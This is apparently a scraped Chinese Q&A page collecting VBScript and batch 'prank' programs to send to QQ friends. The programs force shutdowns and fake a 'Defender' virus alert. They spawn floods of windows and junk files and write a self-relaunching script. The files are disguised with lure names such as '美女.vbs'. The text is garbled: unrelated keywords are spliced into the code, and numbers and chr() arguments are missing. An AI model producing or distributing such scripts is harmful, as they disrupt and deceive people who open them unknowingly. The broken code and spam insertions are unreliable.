皮皮网

1.恶搞软件猪吃苹果怎么自己编写手机恶搞软件别人点开就关机的超级那种
2.有没有一些恶搞别人的vbs代码

恶搞软件猪吃苹果怎么自己编写手机恶搞软件别人点开就关机的那种

       A. 寻找一个恶搞软件！在qq上发给人家一个信息，搞病搞然后一打开全屏都是毒源代码恐怖的东西，好像还关不掉.

       代码如下(要复制完整哦)

       on error resume next

       dim WSHshellA

       set WSHshellA = wscript.createobject("wscript.shell")

       WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说我是码恶商品展示页源码猪，不说我是超级猪就一分钟关你机，不信，搞病搞试试···"" ",毒源代码0 ,true

       dim a

       do while(a > "我是猪")

       a = inputbox ("说我是猪,就不关机，快撒，码恶说 ""我是超级猪"" ","说不说","不说",,)

       msgbox chr() + chr() + chr() + a,0,"MsgBox"

       loop

       msgbox chr() + chr() + chr() + "早说就行了嘛"

       dim WSHshell

       set WSHshell = wscript.createobject("wscript.shell")

       WSHshell.run "cmd.exe /c shutdown -a",0 ,true

       msgbox chr() + chr() + chr() + "哈哈哈哈，真过瘾"

       把上面的搞病搞文字复制到记事本内。另存为名字随便你起记住后面的毒源代码psd收款源码一定要加 .vbe

       B. .vbe。我是码恶猪的，恶搞程序，超级有谁可以教我把一分钟的搞病搞关机时间改成秒

       右键单击“XXX.vbe ” 然后点“编辑” 找到一个数字“” 把它改成“”就OK了

       C. 谁有那种恶搞软件~就是给扣扣好友发过去，会黑屏或关机然后没病毒 有的毒源代码发[email protected]谢了

       1.新建文本文档 ,输入Shutdown.exe -s -t 1另存为美女.cmd 打开就关机,别尝试.

       2.在桌面新建个文本文档,把下面的复制进去,然后点左上角的文件,另存为 文件名改为 美女.vbs 这个你可以打开试试.

       On Error Resume Next

       Dim WSHshellA

       Set WSHshellA = wscript.CreateObject("wscript.shell")

       WSHshellA.run "cmd.exe /c shutdown -s -t -c ""快喊我是猪，不喊就马上让你关机，input.getkey源码不信，试试···"" ", 0, True

       Dim a

       Do While (a > "我是猪")

       a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", , )

       MsgBox Chr() + Chr() + Chr() + a, 0, "MsgBox"

       Loop

       MsgBox Chr() + Chr() + Chr() + "早说就行了嘛!好,不关了"

       WSHshella.run "cmd.exe /c shutdown -a"

       D. 怎么自己编写手机恶搞软件，别人点开就关机的vb网络爬虫源码那种

       On Error Resume Next

       Dim WSHshellA

       Set WSHshellA = wscript.CreateObject("wscript.shell")

       WSHshellA.run "cmd.exe /c shutdown -s -t -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True

       Dim a

       Do While (a > "我是猪")

       a = InputBox("快说我是猪,不叫就不关机，快点，说 ",期货 现货 指标源码 "说不说", "不说", , )

       MsgBox Chr() + Chr() + Chr() + a, 0, "MsgBox"

       Loop

       MsgBox Chr() + Chr() + Chr() + "早说就行了嘛!好,不关了"

       WSHshella.run "cmd.exe /c shutdown -a"

       先用记事本保存txt格式,然后改为.vbs格式后缀

有没有一些恶搞别人的vbs代码

       自编vbs仅供娱乐！！！

       set qstart = wscript.CreateObject("wscript.shell")

       set qweb = CreateObject("Wscript.Shell")

       set qwrite = CreateObject("scripting.filesystemobject")

       set qsay = CreateObject("sapi.spvoice")

       qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》

       msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation," Defender"

       qstart.run "cmd.exe /c start appwiz.cpl"

       qstart.run "cmd.exe /c start bthprops.cpl"

       qstart.run "cmd.exe /c start calc.exe"

       qstart.run "cmd.exe /c start cleanmgr.exe"

       qstart.run "cmd.exe /c start cmd.exe"

       qstart.run "cmd.exe /c start colorcpl.exe"

       qstart.run "cmd.exe /c start control.exe"

       qstart.run "cmd.exe /c start cttune.exe"

       qstart.run "cmd.exe /c start desk.cpl"

       qstart.run "cmd.exe /c start dfrgui.exe"

       qstart.run "cmd.exe /c start dxdiag.exe"

       qstart.run "cmd.exe /c start FileHistory.exe"

       qstart.run "cmd.exe /c start Firewall.cpl"

       qstart.run "cmd.exe /c start Fondue.exe"

       qstart.run "cmd.exe /c start fontview.exe"

       qstart.run "cmd.exe /c start fsquirt.exe"

       qstart.run "cmd.exe /c start hdwwiz.cpl"

       qstart.run "cmd.exe /c start inetcpl.cpl"

       qstart.run "cmd.exe /c start intl.cpl"

       qstart.run "cmd.exe /c start irprops.cpl"

       qstart.run "cmd.exe /c start joy.cpl"

       qstart.run "cmd.exe /c start LaunchTM.exe"

       qstart.run "cmd.exe /c start Magnify.exe"

       qstart.run "cmd.exe /c start main.cpl"

       qstart.run "cmd.exe /c start mblctr.exe"

       qstart.run "cmd.exe /c start mmsys.cpl"

       qstart.run "cmd.exe /c start msinfo.exe"

       qstart.run "cmd.exe /c start mspaint.exe"

       qstart.run "cmd.exe /c start ncpa.cpl"

       qstart.run "cmd.exe /c start notepad.exe"

       qstart.run "cmd.exe /c start powercfg.cpl"

       qstart.run "cmd.exe /c start RTSnMg.cpl"

       qstart.run "cmd.exe /c start SnippingTool.exe"

       qstart.run "cmd.exe /c start sysdm.cpl"

       qstart.run "cmd.exe /c start TabletPC.cpl"

       qstart.run "cmd.exe /c start telephon.cpl"

       qstart.run "cmd.exe /c start timedate.cpl"

       qstart.run "cmd.exe /c start write.exe"

       qstart.run "cmd.exe /c start wscript.exe"

       qstart.run "cmd.exe /c start wscui.cpl"

       qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug 0"

       qstart.run "cmd.exe /c fsutil file createnew .bug "

       qstart.run "cmd.exe /c fsutil file createnew .bug "

       qstart.run "cmd.exe /c fsutil file createnew .bug "

       qstart.run "cmd.exe /c fsutil file createnew .bug "

       qstart.run "cmd.exe /c fsutil file createnew .bug "

       qstart.run "cmd.exe /c fsutil file createnew .bug "

       qstart.run "cmd.exe /c fsutil file createnew .bug "

       wscript.sleep

       qstart.run "cmd.exe /c shutdown -s -t -c ""公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在秒后自动关机"" ",0,true

       qstart.run "cmd.exe /c echo 滚|clip"

       A = INPUTBOX ("说！是不是上帝？"+chr()+chr()+chr()+"（“滚”已复制到剪贴板，可以粘贴。）"," Defender","不是",,)

       IF A = "是" then

       qstart.run "cmd.exe /c shutdown -a",0,true

       msgbox "好的，现在您可以下载安全卫士来杀毒了。",vbokonly," Defender"

       do

       qweb.run"/"

       loop

       ELSEIF A = "不是" then

       qstart.run "cmd.exe /c shutdown -a",0,true

       msgbox chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+"您怎么这么懒呢？",vbokonly+vbQuestion," Defender"

       msgbox chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+chr()+"是时候锻炼锻炼了",vbokonly+vbInformation," Defender"

       msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr()+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation," Defender"

       do

       qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true

       msgbox "取消关机",vbokonly," Defender"

       qstart.run "cmd.exe /c shutdown -a",0,true

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       loop

       ELSEIF A = "" then

       qstart.run "cmd.exe /c shutdown -a",0,true

       msgbox "周鸿祎表示无语。"+chr()+chr()+chr()+"这样是不可能解决问题的",vbokonly," Defender"

       msgbox "自己探寻吧",vbokonly," Defender"

       do

       qstart.run "cmd.exe /c shutdown -s -t 5",0,true

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd"

       qstart.run "cmd.exe /c shutdown -a",0,true

       loop

       ELSEIF A = "滚" then

       qstart.run "cmd.exe /c shutdown -a",0,true

       msgbox "emmmmmmmm",vbokonly," Defender"

       set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)

       qwriteb.WriteLine "wscript.CreateObject(" & chr() & "wscript.shell" & chr() & ").run " & chr() & "D:\1.vbs" & chr()

       qwriteb.WriteLine "msgbox " & chr() & "滚" & chr() & ",vbokonly+vbinformation," & chr() & " Defender" & chr()

       qwriteb.close

       qwrite.movefile "D:\1.txt","D:\1.vbs"

       qstart.run "D:\1.vbs"

       ELSE

       qstart.run "cmd.exe /c shutdown -a",0,true

       msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr()+chr()+"那现在先把C盘给抹咯！",vbokonly+vbInformation," Defender"

       qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qweb.run"/"

       qstart.run "cmd.exe /c shutdown -r -t 5",0,true

       END IF